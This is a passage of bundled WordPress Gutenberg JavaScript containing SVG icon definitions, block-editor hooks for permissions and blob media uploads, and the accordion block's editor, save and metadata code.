  var table_row_before_default = /* @__PURE__ */ (0, import_jsx_runtime141.jsx)(import_primitives140.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime141.jsx)(import_primitives140.Path, { d: &quot;M21 5c0-1.1-.9-2-2-2H5c-1 0-1.9.8-2 1.8V19.2c.1.9.9 1.7 1.8 1.8H19c1.1 0 2-.9 2-2V5ZM4.5 14V5c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v9h-15Zm4 5.5H5c-.3 0-.5-.2-.5-.5v-3.5h4v4Zm5.5 0h-4v-4h4v4Zm5.5-.5c0 .3-.2.5-.5.5h-3.5v-4h4V19ZM11.2 10h-3V8.5h3v-3h1.5v3h3V10h-3v3h-1.5v-3Z&quot; }) });

  // packages/icons/build-module/library/table-row-delete.mjs
  var import_primitives141 = __toESM(require_primitives(), 1);
  var import_jsx_runtime142 = __toESM(require_jsx_runtime(), 1);
  var table_row_delete_default = /* @__PURE__ */ (0, import_jsx_runtime142.jsx)(import_primitives141.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime142.jsx)(import_primitives141.Path, { d: &quot;M19 3H4.8c-.9.1-1.7.9-1.8 1.8V19.2c.1 1 1 1.8 2 1.8h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2Zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-9h15v9Zm0-10.5h-15V5c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v3.5Zm-9.6 9.4 2.1-2.1 2.1 2.1 1.1-1.1-2.1-2.1 2.1-2.1-1.1-1.1-2.1 2.1-2.1-2.1-1.1 1.1 2.1 2.1-2.1 2.1 1.1 1.1Z&quot; }) });

  // packages/icons/build-module/library/table.mjs
  var import_primitives142 = __toESM(require_primitives(), 1);
  var import_jsx_runtime143 = __toESM(require_jsx_runtime(), 1);
  var table_default = /* @__PURE__ */ (0, import_jsx_runtime143.jsx)(import_primitives142.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime143.jsx)(import_primitives142.Path, { d: &quot;M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2Zm.5 2v6.2h-6.8V4.4h6.2c.3 0 .5.2.5.5ZM5 4.5h6.2v6.8H4.4V5.1c0-.3.2-.5.5-.5ZM4.5 19v-6.2h6.8v6.8H5.1c-.3 0-.5-.2-.5-.5Zm14.5.5h-6.2v-6.8h6.8v6.2c0 .3-.2.5-.5.5Z&quot; }) });

  // packages/icons/build-module/library/tabs-menu-item.mjs
  var import_primitives143 = __toESM(require_primitives(), 1);
  var import_jsx_runtime144 = __toESM(require_jsx_runtime(), 1);
  var tabs_menu_item_default = /* @__PURE__ */ (0, import_jsx_runtime144.jsx)(import_primitives143.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime144.jsx)(import_primitives143.Path, { d: &quot;M14 11.25a.25.25 0 0 0-.25-.25h-3.5a.25.25 0 0 0-.25.25v2.5H8.5v-2.5c0-.966.784-1.75 1.75-1.75h3.5c.966 0 1.75.784 1.75 1.75v2.5H14v-2.5Z&quot; }) });

  // packages/icons/build-module/library/tabs-menu.mjs
  var import_primitives144 = __toESM(require_primitives(), 1);
  var import_jsx_runtime145 = __toESM(require_jsx_runtime(), 1);
  var tabs_menu_default = /* @__PURE__ */ (0, import_jsx_runtime145.jsx)(import_primitives144.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime145.jsx)(import_primitives144.Path, { d: &quot;M18.2 9.5h-3.5c-1 0-1.8.8-1.8 1.8v2.5h1.5v-2.5c0-.1.1-.2.2-.2h3.5c.1 0 .2.1.2.2v2.5h1.5v-2.5c0-1-.8-1.8-1.8-1.8Zm-9 0H5.7c-1 0-1.8.8-1.8 1.8v2.5h7v-2.5c0-1-.8-1.8-1.8-1.8Z&quot; }) });

  // packages/icons/build-module/library/tabs.mjs
  var import_primitives145 = __toESM(require_primitives(), 1);
  var import_jsx_runtime146 = __toESM(require_jsx_runtime(), 1);
  var tabs_default = /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(import_primitives145.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(import_primitives145.Path, { d: &quot;M4 16.5h13V15H4v1.5Zm0-3h16V12H4v1.5ZM18.2 6h-3.5c-1 0-1.8.8-1.8 1.8v2.5h1.5V7.8c0-.1.1-.2.2-.2h3.5c.1 0 .2.1.2.2v2.5h1.5V7.8c0-1-.8-1.8-1.8-1.8ZM11 7.8c0-1-.8-1.8-1.8-1.8H5.7c-1 0-1.8.8-1.8 1.8v2.5h7V7.8Z&quot; }) });

  // packages/icons/build-module/library/tag.mjs
  var import_primitives146 = __toESM(require_primitives(), 1);
  var import_jsx_runtime147 = __toESM(require_jsx_runtime(), 1);
  var tag_default = /* @__PURE__ */ (0, import_jsx_runtime147.jsx)(import_primitives146.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime147.jsx)(import_primitives146.Path, { d: &quot;M4.75 4a.75.75 0 0 0-.75.75v7.826c0 .2.08.39.22.53l6.72 6.716a2.313 2.313 0 0 0 3.276-.001l5.61-5.611-.531-.53.532.528a2.315 2.315 0 0 0 0-3.264L13.104 4.22a.75.75 0 0 0-.53-.22H4.75ZM19 12.576a.815.815 0 0 1-.236.574l-5.61 5.611a.814.814 0 0 1-1.153 0L5.5 12.264V5.5h6.763l6.5 6.502a.816.816 0 0 1 .237.574ZM8.75 9.75a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z&quot; }) });

  // packages/icons/build-module/library/term-count.mjs
  var import_primitives147 = __toESM(require_primitives(), 1);
  var import_jsx_runtime148 = __toESM(require_jsx_runtime(), 1);
  var term_count_default = /* @__PURE__ */ (0, import_jsx_runtime148.jsxs)(import_primitives147.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: [
    /* @__PURE__ */ (0, import_jsx_runtime148.jsx)(import_primitives147.Path, { d: &quot;M 12.841306,16.677917 12.001264,12.71529 Q 11.835801,11.930402 11.695793,11.417042 11.560029,10.89944 11.398809,10.568514 11.237588,10.237588 11,10 10.635133,9.6351329 10.219354,9.6351329 9.8078183,9.6308902 9.4387086,10 8.9932313,10.445477 8.8574668,11.022476 8.7259449,11.595233 8.7259449,12.155262 L 7.4955791,11.196425 Q 7.5719467,10.509117 7.8307477,9.9109045 8.0937915,9.3084495 8.6410921,8.7611489 9.1799075,8.2223335 9.7569066,8.086569 q 0.5812414,-0.1400071 1.1242994,0.046669 0.543058,0.1866762 0.975808,0.6194255 0.335168,0.3351686 0.581242,0.767918 0.24183,0.4285067 0.436992,1.0564174 0.195161,0.619426 0.381837,1.527351 l 0.364867,1.756453 1.883733,-1.883732 1.018234,1.018233 z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime148.jsx)(import_primitives147.Path, { d: &quot;M12.574 4a.75.75 0 0 1 .53.22l6.723 6.724a2.315 2.315 0 0 1 0 3.264l-.532-.528.531.53-5.61 5.611a2.31 2.31 0 0 1-3.276.001l-6.72-6.716a.75.75 0 0 1-.22-.53V4.75A.75.75 0 0 1 4.75 4h7.824ZM5.5 5.5v6.764l6.501 6.497a.817.817 0 0 0 .889.178.816.816 0 0 0 .264-.178l5.61-5.61a.816.816 0 0 0-.001-1.149l-6.5-6.502H5.5Z&quot; })
  ] });

  // packages/icons/build-module/library/term-description.mjs
  var import_primitives148 = __toESM(require_primitives(), 1);
  var import_jsx_runtime149 = __toESM(require_jsx_runtime(), 1);
  var term_description_default = /* @__PURE__ */ (0, import_jsx_runtime149.jsx)(import_primitives148.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime149.jsx)(import_primitives148.Path, { d: &quot;M6.08 10.103h2.914L9.657 12h1.417L8.23 4H6.846L4 12h1.417l.663-1.897Zm1.463-4.137.994 2.857h-2l1.006-2.857ZM11 16H4v-1.5h7V16Zm1 0h8v-1.5h-8V16Zm-4 4H4v-1.5h4V20Zm7-1.5V20H9v-1.5h6Z&quot; }) });

  // packages/icons/build-module/library/term-name.mjs
  var import_primitives149 = __toESM(require_primitives(), 1);
  var import_jsx_runtime150 = __toESM(require_jsx_runtime(), 1);
  var term_name_default = /* @__PURE__ */ (0, import_jsx_runtime150.jsxs)(import_primitives149.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: [
    /* @__PURE__ */ (0, import_jsx_runtime150.jsx)(import_primitives149.Path, { d: &quot;m14.95 13.889-1.061 1.061-5.552-5.553 1.06-1.06 5.552 5.552Z&quot; }),
    /* @__PURE__ */ (0, import_jsx_runtime150.jsx)(import_primitives149.Path, { d: &quot;M12.574 4a.75.75 0 0 1 .53.22l6.723 6.724a2.315 2.315 0 0 1 0 3.264l-.532-.528.531.53-5.61 5.611a2.31 2.31 0 0 1-3.276.001l-6.72-6.716a.75.75 0 0 1-.22-.53V4.75A.75.75 0 0 1 4.75 4h7.824ZM5.5 5.5v6.764l6.501 6.497a.817.817 0 0 0 .889.178.816.816 0 0 0 .264-.178l5.61-5.61a.816.816 0 0 0-.001-1.149l-6.5-6.502H5.5Z&quot; })
  ] });

  // packages/icons/build-module/library/time-to-read.mjs
  var import_primitives150 = __toESM(require_primitives(), 1);
  var import_jsx_runtime151 = __toESM(require_jsx_runtime(), 1);
  var time_to_read_default = /* @__PURE__ */ (0, import_jsx_runtime151.jsx)(import_primitives150.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime151.jsx)(import_primitives150.Path, { d: &quot;M12 3c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9zm0 16.5c-4.1 0-7.5-3.4-7.5-7.5S7.9 4.5 12 4.5s7.5 3.4 7.5 7.5-3.4 7.5-7.5 7.5zM12 7l-1 5c0 .3.2.6.4.8l4.2 2.8-2.7-4.1L12 7z&quot; }) });

  // packages/icons/build-module/library/title.mjs
  var import_primitives151 = __toESM(require_primitives(), 1);
  var import_jsx_runtime152 = __toESM(require_jsx_runtime(), 1);
  var title_default = /* @__PURE__ */ (0, import_jsx_runtime152.jsx)(import_primitives151.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime152.jsx)(import_primitives151.Path, { d: &quot;m4 5.5h2v6.5h1.5v-6.5h2v-1.5h-5.5zm16 10.5h-16v-1.5h16zm-7 4h-9v-1.5h9z&quot; }) });

  // packages/icons/build-module/library/upload.mjs
  var import_primitives152 = __toESM(require_primitives(), 1);
  var import_jsx_runtime153 = __toESM(require_jsx_runtime(), 1);
  var upload_default = /* @__PURE__ */ (0, import_jsx_runtime153.jsx)(import_primitives152.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime153.jsx)(import_primitives152.Path, { d: &quot;M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z&quot; }) });

  // packages/icons/build-module/library/verse.mjs
  var import_primitives153 = __toESM(require_primitives(), 1);
  var import_jsx_runtime154 = __toESM(require_jsx_runtime(), 1);
  var verse_default = /* @__PURE__ */ (0, import_jsx_runtime154.jsx)(import_primitives153.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime154.jsx)(import_primitives153.Path, { d: &quot;M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z&quot; }) });

  // packages/icons/build-module/library/video.mjs
  var import_primitives154 = __toESM(require_primitives(), 1);
  var import_jsx_runtime155 = __toESM(require_jsx_runtime(), 1);
  var video_default = /* @__PURE__ */ (0, import_jsx_runtime155.jsx)(import_primitives154.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime155.jsx)(import_primitives154.Path, { d: &quot;M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h13.4c.4 0 .8.4.8.8v13.4zM10 15l5-3-5-3v6z&quot; }) });

  // packages/icons/build-module/library/word-count.mjs
  var import_primitives155 = __toESM(require_primitives(), 1);
  var import_jsx_runtime156 = __toESM(require_jsx_runtime(), 1);
  var word_count_default = /* @__PURE__ */ (0, import_jsx_runtime156.jsx)(import_primitives155.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime156.jsx)(import_primitives155.Path, { d: &quot;M19 5c1.1 0 2 .9 2 2v10c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V7c0-1.1.9-2 2-2zM5 6.5c-.3 0-.5.2-.5.5v10c0 .3.2.5.5.5h14c.3 0 .5-.2.5-.5V7c0-.3-.2-.5-.5-.5zM14.734 9q.714 0 1.15.253.437.247.639.84.2.591.2 1.61v1.15q0 .402.036.667.04.258.172.39.138.127.437.127h.104l-.162.828h-.08q-.5 0-.776-.097a.9.9 0 0 1-.414-.283 2 2 0 0 1-.259-.448q-.316.367-.748.598-.43.23-.977.23-.524 0-.914-.213a1.56 1.56 0 0 1-.61-.58 1.65 1.65 0 0 1-.213-.84q0-.477.207-.817.213-.345.564-.568.357-.23.794-.363.437-.139.902-.196.471-.062.902-.068 0-.805-.315-1.053-.316-.247-.915-.247-.316 0-.678.098-.356.097-.805.408l-.15-.84a2.8 2.8 0 0 1 .846-.419A3.4 3.4 0 0 1 14.734 9m-5.877 1.669H9.86l.59-1.531h.689l-.585 1.53h.898l-.249.727h-.922l-.337.866h1.019l-.354.773h-.962l-.681 1.804h-.701l.69-1.804h-.999l-.693 1.804h-.69l.685-1.804H6.3l.34-.773h.915l.333-.866h-.994l.244-.726H8.16l.594-1.531h.693zm6.832 1.264q-.823.029-1.335.16-.506.133-.74.397-.236.265-.236.685 0 .454.241.66.248.202.632.202.414 0 .8-.207.39-.207.637-.552zm-7.441.328h1l.34-.866h-1z&quot; }) });

  // packages/block-library/build-module/accordion/edit.mjs
  var import_block_editor2 = __toESM(require_block_editor(), 1);
  var import_i18n = __toESM(require_i18n(), 1);
  var import_components = __toESM(require_components(), 1);
  var import_data2 = __toESM(require_data(), 1);
  var import_blocks = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/utils/hooks.mjs
  var import_data = __toESM(require_data(), 1);
  var import_element2 = __toESM(require_element(), 1);
  var import_blob = __toESM(require_blob(), 1);
  var import_block_editor = __toESM(require_block_editor(), 1);
  var import_core_data = __toESM(require_core_data(), 1);
  var import_compose = __toESM(require_compose(), 1);
  function useCanEditEntity(kind, name123, recordId) {
    return (0, import_data.useSelect)(
      (select9) =&gt; select9(import_core_data.store).canUser(&quot;update&quot;, {
        kind,
        name: name123,
        id: recordId
      }),
      [kind, name123, recordId]
    );
  }
  function useUploadMediaFromBlobURL(args = {}) {
    const latestArgsRef = (0, import_element2.useRef)(args);
    const hasUploadStartedRef = (0, import_element2.useRef)(false);
    const { getSettings: getSettings2 } = (0, import_data.useSelect)(import_block_editor.store);
    (0, import_element2.useLayoutEffect)(() =&gt; {
      latestArgsRef.current = args;
    });
    (0, import_element2.useEffect)(() =&gt; {
      if (hasUploadStartedRef.current) {
        return;
      }
      if (!latestArgsRef.current.url || !(0, import_blob.isBlobURL)(latestArgsRef.current.url)) {
        return;
      }
      const file = (0, import_blob.getBlobByURL)(latestArgsRef.current.url);
      if (!file) {
        return;
      }
      const { url, allowedTypes, onChange, onError } = latestArgsRef.current;
      const { mediaUpload } = getSettings2();
      if (!mediaUpload) {
        return;
      }
      hasUploadStartedRef.current = true;
      mediaUpload({
        filesList: [file],
        allowedTypes,
        onFileChange: ([media]) =&gt; {
          if ((0, import_blob.isBlobURL)(media?.url)) {
            return;
          }
          (0, import_blob.revokeBlobURL)(url);
          onChange(media);
          hasUploadStartedRef.current = false;
        },
        onError: (message) =&gt; {
          (0, import_blob.revokeBlobURL)(url);
          onError(message);
          hasUploadStartedRef.current = false;
        }
      });
    }, [getSettings2]);
  }
  function useDefaultAvatar() {
    const avatarURL = (0, import_data.useSelect)((select9) =&gt; {
      const { getSettings: getSettings2 } = select9(import_block_editor.store);
      const { __experimentalDiscussionSettings } = getSettings2();
      return __experimentalDiscussionSettings?.avatarURL ?? &quot;&quot;;
    }, []);
    return avatarURL;
  }
  function useToolsPanelDropdownMenuProps() {
    const isMobile = (0, import_compose.useViewportMatch)(&quot;medium&quot;, &quot;&lt;&quot;);
    return !isMobile ? {
      popoverProps: {
        placement: &quot;left-start&quot;,
        // For non-mobile, inner sidebar width (248px) - button width (24px) - border (1px) + padding (16px) + spacing (20px)
        offset: 259
      }
    } : {};
  }

  // packages/block-library/build-module/accordion/edit.mjs
  var import_jsx_runtime157 = __toESM(require_jsx_runtime(), 1);
  var ACCORDION_BLOCK_NAME = &quot;core/accordion-item&quot;;
  var ACCORDION_HEADING_BLOCK_NAME = &quot;core/accordion-heading&quot;;
  var ACCORDION_BLOCK = {
    name: ACCORDION_BLOCK_NAME
  };
  function Edit({
    attributes: {
      autoclose,
      iconPosition,
      showIcon,
      headingLevel,
      levelOptions
    },
    clientId,
    setAttributes,
    isSelected: isSingleSelected
  }) {
    const registry = (0, import_data2.useRegistry)();
    const { getBlockOrder } = (0, import_data2.useSelect)(import_block_editor2.store);
    const blockProps = (0, import_block_editor2.useBlockProps)({
      role: &quot;group&quot;
    });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const { updateBlockAttributes, insertBlock } = (0, import_data2.useDispatch)(import_block_editor2.store);
    const blockEditingMode = (0, import_block_editor2.useBlockEditingMode)();
    const isContentOnlyMode = blockEditingMode === &quot;contentOnly&quot;;
    const innerBlocksProps = (0, import_block_editor2.useInnerBlocksProps)(blockProps, {
      template: [[ACCORDION_BLOCK_NAME]],
      defaultBlock: ACCORDION_BLOCK,
      directInsert: true,
      templateInsertUpdatesSelection: true
    });
    const addAccordionItemBlock = () =&gt; {
      const newAccordionItem = (0, import_blocks.createBlock)(ACCORDION_BLOCK_NAME, {}, [
        (0, import_blocks.createBlock)(ACCORDION_HEADING_BLOCK_NAME, {
          level: headingLevel
        }),
        (0, import_blocks.createBlock)(&quot;core/accordion-panel&quot;, {})
      ]);
      insertBlock(newAccordionItem, void 0, clientId);
    };
    const updateHeadingLevel = (newHeadingLevel) =&gt; {
      const innerBlockClientIds = getBlockOrder(clientId);
      const accordionHeaderClientIds = [];
      innerBlockClientIds.forEach((contentClientId) =&gt; {
        const headerClientIds = getBlockOrder(contentClientId);
        accordionHeaderClientIds.push(...headerClientIds);
      });
      registry.batch(() =&gt; {
        setAttributes({ headingLevel: newHeadingLevel });
        updateBlockAttributes(accordionHeaderClientIds, {
          level: newHeadingLevel
        });
      });
    };
    return /* @__PURE__ */ (0, import_jsx_runtime157.jsxs)(import_jsx_runtime157.Fragment, { children: [
      isSingleSelected &amp;&amp; !isContentOnlyMode &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime157.jsxs)(import_jsx_runtime157.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(import_block_editor2.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(import_components.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
          import_block_editor2.HeadingLevelDropdown,
          {
            value: headingLevel,
            options: levelOptions,
            onChange: updateHeadingLevel
          }
        ) }) }),
        /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(import_block_editor2.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(import_components.ToolbarButton, { onClick: addAccordionItemBlock, children: (0, import_i18n.__)(&quot;Add item&quot;) }) })
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(import_block_editor2.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime157.jsxs)(
        import_components.__experimentalToolsPanel,
        {
          label: (0, import_i18n.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              autoclose: false,
              showIcon: true,
              iconPosition: &quot;right&quot;
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
              import_components.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n.__)(&quot;Auto-close&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !!autoclose,
                onDeselect: () =&gt; setAttributes({ autoclose: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
                  import_components.ToggleControl,
                  {
                    isBlock: true,
                    label: (0, import_i18n.__)(&quot;Auto-close&quot;),
                    onChange: (value) =&gt; {
                      setAttributes({
                        autoclose: value
                      });
                    },
                    checked: autoclose,
                    help: (0, import_i18n.__)(
                      &quot;Automatically close accordions when a new one is opened.&quot;
                    )
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
              import_components.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n.__)(&quot;Show icon&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !showIcon,
                onDeselect: () =&gt; setAttributes({ showIcon: true }),
                children: /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
                  import_components.ToggleControl,
                  {
                    isBlock: true,
                    label: (0, import_i18n.__)(&quot;Show icon&quot;),
                    onChange: (value) =&gt; {
                      setAttributes({
                        showIcon: value,
                        iconPosition: value ? iconPosition : &quot;right&quot;
                      });
                    },
                    checked: showIcon,
                    help: (0, import_i18n.__)(
                      &quot;Display a plus icon next to the accordion header.&quot;
                    )
                  }
                )
              }
            ),
            showIcon &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
              import_components.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n.__)(&quot;Icon Position&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; iconPosition !== &quot;right&quot;,
                onDeselect: () =&gt; setAttributes({ iconPosition: &quot;right&quot; }),
                children: /* @__PURE__ */ (0, import_jsx_runtime157.jsxs)(
                  import_components.__experimentalToggleGroupControl,
                  {
                    __next40pxDefaultSize: true,
                    isBlock: true,
                    label: (0, import_i18n.__)(&quot;Icon Position&quot;),
                    value: iconPosition,
                    onChange: (value) =&gt; {
                      setAttributes({ iconPosition: value });
                    },
                    children: [
                      /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
                        import_components.__experimentalToggleGroupControlOption,
                        {
                          label: (0, import_i18n.__)(&quot;Left&quot;),
                          value: &quot;left&quot;
                        }
                      ),
                      /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
                        import_components.__experimentalToggleGroupControlOption,
                        {
                          label: (0, import_i18n.__)(&quot;Right&quot;),
                          value: &quot;right&quot;
                        }
                      )
                    ]
                  }
                )
              }
            )
          ]
        }
      ) }, &quot;setting&quot;),
      /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(&quot;div&quot;, { ...innerBlocksProps })
    ] });
  }

  // packages/block-library/build-module/accordion/save.mjs
  var import_block_editor3 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime158 = __toESM(require_jsx_runtime(), 1);
  function save() {
    const blockProps = import_block_editor3.useBlockProps.save({
      role: &quot;group&quot;
    });
    return /* @__PURE__ */ (0, import_jsx_runtime158.jsx)(&quot;div&quot;, { ...import_block_editor3.useInnerBlocksProps.save(blockProps) });
  }

  // packages/block-library/build-module/accordion/block.json
  var block_default = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/accordion&quot;,
    title: &quot;Accordion&quot;,
    category: &quot;design&quot;,
    description: &quot;Displays a foldable layout that groups content in collapsible sections.&quot;,
    example: {},
    supports: {
      anchor: true,
      html: false,
      align: [&quot;wide&quot;, &quot;full&quot;],
      background: {
        backgroundImage: true,
        backgroundSize: true,
        __experimentalDefaultControls: {
          backgroundImage: true
        }
      },
      color: {
        background: true,
        gradients: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      spacing: {
        padding: true,
        margin: [&quot;top&quot;, &quot;bottom&quot;],
        blockGap: true
      },
      shadow: true,
      layout: true,
      ariaLabel: true,
      interactivity: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      contentRole: true,
      listView: true
    },
    attributes: {
      iconPosition: {
        type: &quot;string&quot;,
        default: &quot;right&quot;
      },
      showIcon: {
        type: &quot;boolean&quot;,
        default: true
      },
      autoclose: {
        type: &quot;boolean&quot;,
        default: false
      },
      headingLevel: {
        type: &quot;number&quot;,
        default: 3
      },
      levelOptions: {
        type: &quot;array&quot;
      }
    },
    providesContext: {
      &quot;core/accordion-icon-position&quot;: &quot;iconPosition&quot;,
      &quot;core/accordion-show-icon&quot;: &quot;showIcon&quot;,
      &quot;core/accordion-heading-level&quot;: &quot;headingLevel&quot;
    },
    allowedBlocks: [&quot;core/accordion-item&quot;],
    textdomain: &quot;default&quot;,
    viewScriptModule: &quot;@wordpress/block-library/accordion/view&quot;
  };

  // packages/block-library/build-module/utils/init-block.mjs
  var import_blocks2 = __toESM(require_blocks(), 1);
  function initBlock(block) {
    if (!block) {
      return;
    }
    const { metadata, settings: settings122, name: name123 } = block;
    return (0, import_blocks2.registerBlockType)({ name: name123, ...metadata }, settings122);
  }

  // packages/block-library/build-module/accordion/index.mjs
  var { name } = block_default;
  var settings = {
    icon: accordion_default,
    example: {
      innerBlocks: [
        {
          name: &quot;core/accordion-item&quot;,
          innerBlocks: [
            {
              name: &quot;core/accordion-heading&quot;,
              attributes: {
                title: (0, import_i18n2.__)(
                  &quot;Lorem ipsum dolor sit amet, consectetur.&quot;
                )
              }
            }
          ]
        },
        {
          name: &quot;core/accordion-item&quot;,
          innerBlocks: [
            {
              name: &quot;core/accordion-heading&quot;,
              attributes: {
                title: (0, import_i18n2.__)(
                  &quot;Suspendisse commodo lacus, interdum et.&quot;
                )
              }
            }
          ]
        }
      ]
    },
    edit: Edit,
    save
  };
  var init = () =&gt; initBlock({ name, metadata: block_default, settings });

  // packages/block-library/build-module/accordion-item/index.mjs
  var accordion_item_exports = {};
  __export(accordion_item_exports, {
    init: () =&gt; init2,
    metadata: () =&gt; block_default2,
    name: () =&gt; name2,
    settings: () =&gt; settings2
  });

  // packages/block-library/build-module/accordion-item/edit.mjs
  var import_i18n3 = __toESM(require_i18n(), 1);
  var import_block_editor4 = __toESM(require_block_editor(), 1);
  var import_data3 = __toESM(require_data(), 1);
  var import_components2 = __toESM(require_components(), 1);
  var import_jsx_runtime159 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE = [[&quot;core/accordion-heading&quot;], [&quot;core/accordion-panel&quot;]];
  function Edit2({
    attributes: attributes2,
    clientId,
    setAttributes,
    isSelected: isSingleSelected
  }) {
    const { openByDefault } = attributes2;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const { isSelected } = (0, import_data3.useSelect)(
      (select9) =&gt; {
        if (isSingleSelected || openByDefault) {
          return { isSelected: true };
        }
        return {
          isSelected: select9(import_block_editor4.store).hasSelectedInnerBlock(
            clientId,
            true
          )
        };
      },
      [clientId, isSingleSelected, openByDefault]
    );
    const blockProps = (0, import_block_editor4.useBlockProps)({
      className: clsx_default({
        &quot;is-open&quot;: openByDefault || isSelected
      })
    });
    const innerBlocksProps = (0, import_block_editor4.useInnerBlocksProps)(blockProps, {
